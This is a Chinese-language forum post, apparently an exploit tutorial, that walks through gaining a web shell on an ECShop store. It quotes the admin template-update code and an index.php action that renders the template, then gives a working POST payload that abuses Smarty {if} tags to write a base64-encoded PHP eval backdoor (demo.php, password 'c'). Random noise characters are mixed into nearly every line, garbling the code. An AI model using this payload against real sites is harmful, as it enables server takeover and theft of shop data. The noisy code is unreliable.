首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板9 a$ _- B! N" i
2 J& s( M! a7 A0 N3 L& h/ _
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
- Q& ^9 g" M2 ^: e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
p6 U- u# Y7 padmin/template.php
: p* F* C" B1 o- G( ]
; J* w6 P% N* i) T# H1 if ($_REQUEST['act'] == 'update_library') + V- X+ \5 c( G. V& f4 K9 N
$ O9 Z) J. K& g; P/ Z# w% _2
1 ~; W& J/ e$ h$ x7 `3 v+ K# e. z
4 ?2 D% o9 H# _; X! u4 m( [2 r9 v3 {
4 @$ u9 I& ~/ D! D
% _$ `. }8 g8 O1 `( a( p6 b4 check_authz_json('library_manage');
J( U; m7 a' r) ]
" Z( e# i' u" r8 p I9 Z5
4 S% T, v" Z4 N) _6 k$ ~- Q K9 v4 _0 _1 T0 q1 {3 I. P
6 $html = stripslashes(json_str_iconv($_POST['html'])); 4 V) ^3 K+ t3 g+ q8 h/ R+ E
) I# ^* y: Q; d, @- P8 V3 `" N: m
7
n6 g" f `+ G* D, q( C* F0 u4 V- ]& |! O
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
! x% Q/ }4 i4 ^2 z: K" U, @4 x$ D" y: Z, x" T
9 8 _3 ~( p6 N0 m7 {$ M
; o; Y* x# R8 {
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
: U2 t& S% A, ]1 g4 i" x- S" o
2 e& \5 x( G; Q+ W m11 ! \& D/ u) [- l! _( {
% `1 ~4 S, ?" S! O3 @8 q
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, e! T/ O( {! V" K
5 n( \/ ^. \% d; `( m+ s/ r13 - D1 d4 s4 m# Y* o9 [1 V: Y- |3 t8 i: o/ e
3 S/ Q0 p/ N9 w6 M* U; N Y14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
; I9 I; `' h* O1 B0 y: y* h( u
9 c1 {/ J) C; F: u1 ^+ b1 [15 {
8 D6 }) \; a! m9 ^
/ `0 A6 \" G+ D2 b16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
' [# G# b9 e% M, U6 `5 h# N( m2 Z! q. @5 j/ R1 {! M
17 make_json_result('', $_LANG['update_lib_success']); 7 P2 c& n- B; T3 t. k$ A/ ^
, W# a3 h" g1 U0 t1 c18 }
# y0 I4 ` K1 [# I' G# a: R, O1 o2 }0 R8 Z, c5 e8 \8 C' T c% O# u
19 else ( H* E5 p9 e. }2 P4 m
0 B3 {9 L* ~. ]5 W0 b! f
20 { ! j* G; {. N7 [- F4 L
& n% O( M1 R6 C9 |, f; o9 m21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
) v0 W6 L; J- o3 ` q; Q+ `1 v+ J, ]0 Y. H6 @" T2 K
22 } + M& Y) P& c1 t, J6 I7 \
9 O6 a6 r2 g, M9 a+ Y& u! H2 r
23 } 9 V/ q" o6 L. y( k, c; m
4 D3 j; w2 P/ J! D' O8 n那么找个比较方便调用了模板的文件
3 g8 D8 a; N9 P$ m/ uindex.php
2 b) Y3 e5 b$ W( Z( q4 `4 g
* I7 e% }. C8 P8 I% Q. j! m1 if ($act == 'cat_rec')
7 }5 Z* W/ Y( H1 ?2 A0 i# E/ x
: ~ Z" j: b& W2
" }* t3 R2 B' C* p: C, W% a# T
, x. _( f; A) O% ~* j p& Q3 {
* U. J4 B2 l1 q$ U& F' D( ^2 H1 r2 r$ s8 m# o! e* I0 `
4
0 ]7 J# o" L9 g* v: C8 B9 W1 h! E2 I6 X- ~& J: a. M1 z! w
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
5 u6 ^$ O \* X$ ?2 x L' x
}7 c# K9 d5 p9 H6
& E7 k6 R8 L# J% l* ? e* U9 r* Y6 K5 E v3 E7 I
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 0 V; o6 X+ {/ N
1 A# S5 J2 z9 Y9 r( Y) q; R8 ' p( N" {9 `! k; \
/ O$ m3 |$ f0 N) C7 j
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
0 j7 w% x: Y& N$ F* k% s" ]" _! s- p! i6 Q/ A Z
10 o4 i$ C( e! c4 A& Y! @
6 J, k5 r& ]% ~11 include_once('includes/cls_json.php'); 3 _* u1 X1 ^, b$ z) a
: q* @( k5 R1 Z4 e3 x( f( U! e12 4 {( |; r& }# ]
" L* v( |* _: m9 U/ N% ]$ V
13 $json = new JSON;
3 v. \! ` C. V/ T- ^! t- d0 |
14
) L- I$ w* |) b, j0 \+ M* r B: g) |) \$ P X* p% c' c. a( Y
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
2 y9 @# N5 {5 A3 Q) V, v1 I3 q2 c" P+ N. g) C
16
( b/ {' ^* W1 W/ c- W3 y
% R" s' x; |+ J e1 m: k: r" X17 $children = get_children($cat_id);
; ?2 n c1 y3 o% c' D) Q
# E! g) a" \7 W. V I18
6 U" F1 i% `# t+ f" Y% F8 [5 d3 K- i
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
5 [9 c4 G% ? C% d
+ L; w9 W/ D$ g, `2 t+ A2 I20
8 w+ f7 t) E1 G$ |. P5 T( e. X9 a; c1 Q/ k7 I4 N
21 $smarty->assign('cat_rec_sign', 1); * c5 L: F" i. U( @/ n
1 g# u1 _0 _! ?22 ) K) d3 @7 ]. V* X
( M4 X! m3 w' @; f23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
" M P& S# a/ z1 q, O+ u( a& J7 B* z4 E
24 + d( @, e' U3 m% k* E# S$ I
: f$ \, y" m! y. _5 [( y" V, o
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; # |! W' }9 N i7 F% q! `& n, b
. v2 y. _$ [ l. u0 V5 K/ T: g* Z
26 & q$ m: h9 h# a, Q- G& b9 \
% a9 p- K; @- X/ F+ a2 P2 B27 echo $rec_array[$rec_type];
* |& p" W! D0 g( E/ X- m% ]( C9 Y9 P
28 # F/ ~9 V4 _$ m5 ?
2 k8 u' K# \, z2 k& R! J
29 die($json->encode($result));
- c4 b0 O- j3 Z4 h
3 m" X0 u/ A2 p( A& h# ]0 `30
$ J0 q6 K- t* F* J q) Y
* x) ]7 e% b4 w% z' \- p }31 }
0 c2 H/ X% {1 G( U8 v( H' C B( L c5 ?
那么就有利用方法了
1 s$ Z0 L+ d$ b/ X, Spost包到http://localhost/ec/admin/template.php?act=update_library% R( H0 e9 Y5 t2 |- `- N
Post内容:, n! i, E! v7 N& Y" ^4 M) q n% S
. Q3 b6 J9 P; I. K( f
( W8 [7 u9 O: v4 R2 J# J
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 5 ^# @+ A( X& s( G0 t6 ^
1 a& S! J. r3 \8 C然后访问http://localhost/ec/index.php?act=cat_rec7 {) K2 T- @" P- N8 J
1 l* z! I* h/ `8 {4 I8 @" T% E" G
shel地址:http://localhost/ec/demo.php
" {# J; ^. I9 |# N/ w密码c
. }3 Q! T. U5 b! G4 j: Z" e
$ r2 B7 H- V' ], B# r9 \# a c |